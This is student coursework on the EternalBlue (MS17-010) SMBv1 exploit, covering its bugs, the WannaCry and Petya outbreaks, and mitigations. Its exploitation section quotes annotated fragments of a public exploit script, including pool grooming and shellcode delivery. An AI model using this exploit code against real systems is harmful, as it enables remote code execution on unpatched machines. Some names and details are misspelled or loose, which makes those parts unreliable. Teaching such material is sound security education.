CSSM28: Security Vulnerabilities & Penetration Testing

Coursework 1

Student Number: 2153389, 2128879

“EthernalBlue”

“EthernalBlue” is an exploit that is created by the NSA as a cybersecurity tool. The official name given by Microsoft is MS17-010. This EthernalBlue exploit does not affect only Windows devices but also affects anything that works on the Microsoft SMBV1 Server Protocol. SMB is the server message block version 1 which is a file-sharing protocol.

According to a statement by Microsoft, EthernalBlue was discovered by US National Security Agency but this exploit got leaked online by the shadow brokers. The NSA used EthernalBlue for five years before Microsoft became aware of its existence.

EthernalBlue works on the SMB V1 server, which was the first version developed in 1983 as a Network Communication Protocol. Fundamentally this is the process for windows machines to establish communication to each other or with other devices which are based on remote services. SMB is the transport protocol used for file and printer sharing and for remote windows services that give the flexibility to read, write the files and perform the opposite services requested to network devices. Mainly SMB operates on TCP Port 139 & 445. The first possible method to prevent an attacker from using the eternal blue exploit is to disable SMBV1. Another method is to use a security patch designed by Microsoft (MS17-010) to fix the SMB software flaws in version one in all windows operating systems. It includes Windows Vista, 7, 8.1, 10, and Windows Server 2008,2012, and 2016. By default, Microsoft would automatically disable SMBV1 in the later versions like windows server 2012, 2016, and Windows 10. (Islam, Oppenheim, Thomas, May 2017)

The Exploit relies on multiple bugs in SMBV1, the first of which occurs when the protocol tries to cast an FEA List struct to an NT FEA structure to determine the amount of memory to allocate. A miscalculation causes a smaller amount of memory than is required to be allocated thereby causing a buffer overflow exploit. The buffer overflow is triggered in turn by another bug which is caused by the different definitions of 2 subcommands TRANSACTION2 and NT_TRANSACT. When the client sends a crafted message using the `NT_TRANSACT` sub-command immediately *before* the `TRANSACTION2,` a validation error takes place and both packets are considered to be of the second type (`TRANSACTION2 in this case)`. This error makes sure that both packets have the Same Type and Memory allocated to them, even though the first packet is twice the size of the second one. This causes a buffer overflow since less space is allocated then needed.(Sentinel One, 2021) Upon taking advantage of the previous bug an attacker can exploit a third bug that allows heap spraying, effectively allowing them to write and execute shellcode on the victim machine.

```
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

sessionSetup['Parameters']['MaxBufferSize']      = 61440  # can be any value greater than response size
sessionSetup['Parameters']['MaxMpxCount']        = 2  # can by any value
sessionSetup['Parameters']['VcNumber']           = 2  # any non-zero
sessionSetup['Parameters']['SessionKey']         = 0
sessionSetup['Parameters']['SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
# UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
sessionSetup['Parameters']['Capabilities']       = smb.SMB.CAP_EXTENDED_SECURITY  # can add other flags

sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
pkt.addCommand(sessionSetup)

conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
```

The above set of code exploits a bug in SMB_COM_SESSION_SETUP_ANDX command That allows it to allocate a large non-paged pool of memory. The SMB Server will check WordCount and ByteCount fields in the SrvValidateSmb() function. It checks that the parameters are not larger than the received data. The bug to be exploited lies in the BlockingSessionSetupAndX() function which calculates the size to allocate for the NativeOS and LanMan.(Sleepya, 2017) The function operates on the logic given below.

- Check and verify word count for formats.
- In the case that both FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY flags are set, process the message as an Extend Security request.
- Otherwise, process the message as an NT Security request.

Therefore, we can send an ExtendedSecurityRequest and not set the FLAGS2_EXTENDED_SECURITY, which causes a non-paged pool to be allocated.

```
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid

command = pack('<H', setup)

# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()

transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)

fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
    padLen = (4 - fixedOffset % 4 ) % 4
    padBytes = '\xFF' * padLen
    transCommand['Data']['Pad1'] = padBytes
else:
    transCommand['Data']['Pad1'] = ''
    padLen = 0

transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

if len(data) > 0:
    pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
    transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
    transCommand['Data']['Pad2'] = ''
    pad2Len = 0

transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
pkt.addCommand(transCommand)

conn.sendSMB(pkt)
conn.recvSMB() # must be success
```

When a Transaction message is larger than an SMB message defined by MaxBufferSize in the session parameter, the client can send the transaction vis the *SECONDARY command. The Server than uses the last used Transact command (NT_TRANS, TRANS2) to complete the transaction. The transaction is started off with SMB_CON_NT_TRANSACT so that more than 65535 bytes can be sent. We then send more date with both SMB_CON_NT_TRANSACT and SMB_COM_TRANSACTION2_SECONDARY. After which a final stretch of transaction data is sent via SMB_COM_TRANSACTION2_SECONDARY. The transaction will then be run as NT_TRANSACT2. (Sleepya , 2017)

```
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)
srvnetConn = []
for i in range(numGroomConn):
    sk = createConnectionWithBigSMBFirst80(target)
    srvnetConn.append(sk)
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
allocConn.get_socket().close()
holeConn.get_socket().close()
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
for sk in srvnetConn:
    sk.send(fake_recv_struct + shellcode)
for sk in srvnetConn:
    sk.close()
```

We first Send TRANS2_OPEN2 (0) with a special feaList to trigger a bug in SrvOs2FeaListSizeToNt() to a target except last fragment. We then allocate multiple large nonpaged pools. We then free up a small pool and a larger pool to write the FEA Buffer. We then create a buffer in the hole that is created by the previous operation, which then modifys a srvNetConn struct header. The corrupted buffer then writes the data into the memory. The Shell code then runs upon SrvNet connection close.

The WannaCry attack began on 12 May 2017 is a cyber-attack initiated by cybercriminals to extort money. Initialization of this attack first started occurring in Asia, and it infected 10,000 people every hour and lasted for Four days (Latto,2022). In this attack, the attacker demanded bitcoin in the return for the victim's files which were held hostage, this attack used SMB version 1 and TCP Port 445 for transmission. As a result, WannaCry randomly targets anyone who didn't install the patch for the security vulnerability that Microsoft Released. Bases on a Shoden search there are an estimated 1 million machines that are still vulnerable to the exploit.

According to the data as per mentioned below these are the countries that were affected by this malware attack and it mostly affected over 150 countries globally. Russia, Ukraine, Taiwan, Brazil, India, Thailand, Romania, Philippines, America, Pakistan. The majority of the attacks against the entire user base in Russia were blocked.

This attack targeted universities, organizations, Government Agencies, and transport Companies. This attack leveraged the fact that these mentioned organizations and agencies were using outdated software and which made their systems vulnerable. The MS17-010 patch was released in March 2017, two months prior the WannaCry attack took place but those organizations and individuals who did not install the latest patch suffered a lot in this attack.

Also, similar to WannaCry another attack called Petya took place, though not similar to WannaCry the exploit uses the same vulnerability in windows and blocks the Master Boot Records in windows. The Master Boot records store the information of disk partitions and also the OS code that is loaded into memory on boot.

According to the researchers Petya locks all the PC's files and demands $300 in bitcoins from the victim as ransom. All files on the device are encrypted and there is no other way out to decrypt the files without major loss of data. Once the malware infects the computer device it waits for the next one or two hours and then reboots the system itself, after which the files get encrypted and the user gets a warning that prevents the user from switching off the system while it is rebooting. as mentioned ahead a message appears on the user's screen. "If you see this message, it means that your files are no longer accessible because they are encrypted. Perhaps you are looking for some way to recover them, but don't waste your time. You will not be able to access them without our decryption service"(Dhapola,2017). As stated earlier there is no way to decrypt these encrypted files but during the attacks, while the system is rebooting user should disconnect the system from the internet and then power off the system after that hard-drive should be reformatted and reinstall the files from the backup (The Guardian, 2017). Users should back up their system on regular basis and their software should be kept to up-to-date.

References: -

Dhapola, S. (2017, June 28). *Petya ransomware cyber-attack: Not WannaCry, same lock and demand tactic*. The Indian Express. Retrieved 24 February 2022, from https://indianexpress.com/article/technology/tech-news-technology/petya-ransomware-cyber-attack-not-wannacry-same-lock-and-demand-tactic-4726781/

S. (2021, October 6). *EternalBlue Exploit: What It Is and How It Works*. SentinelOne. https://www.sentinelone.com/blog/eternalblue-nsa-developed-exploit-just-wont-die/

Sleepya S. (2017, May 17). *Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)*. Exploit Database. https://www.exploit-db.com/exploits/42031

SMB Exploited: WannaCry Use of 'EternalBlue' | Mandiant. (2017, May 26). Https://Www.Mandiant.Com/Resources/Smb-Exploited-Wannacry-Use-of-Eternalblue. Retrieved 24 February 2022, from https://www.mandiant.com/resources/smb-exploited-wannacry-use-of-eternalblue

Solon, O., & Hern, A. (2017, July 14). *'Petya' ransomware attack: what is it and how can it be stopped?* The Guardian. https://www.theguardian.com/technology/2017/jun/27/petya-ransomware-cyber-attack-who-what-why-how

Nica Latto. (2020, February 27). What is WannaCry? What is WannaCry? Retrieved February 24, 2022, from https://www.avast.com/c-wannacry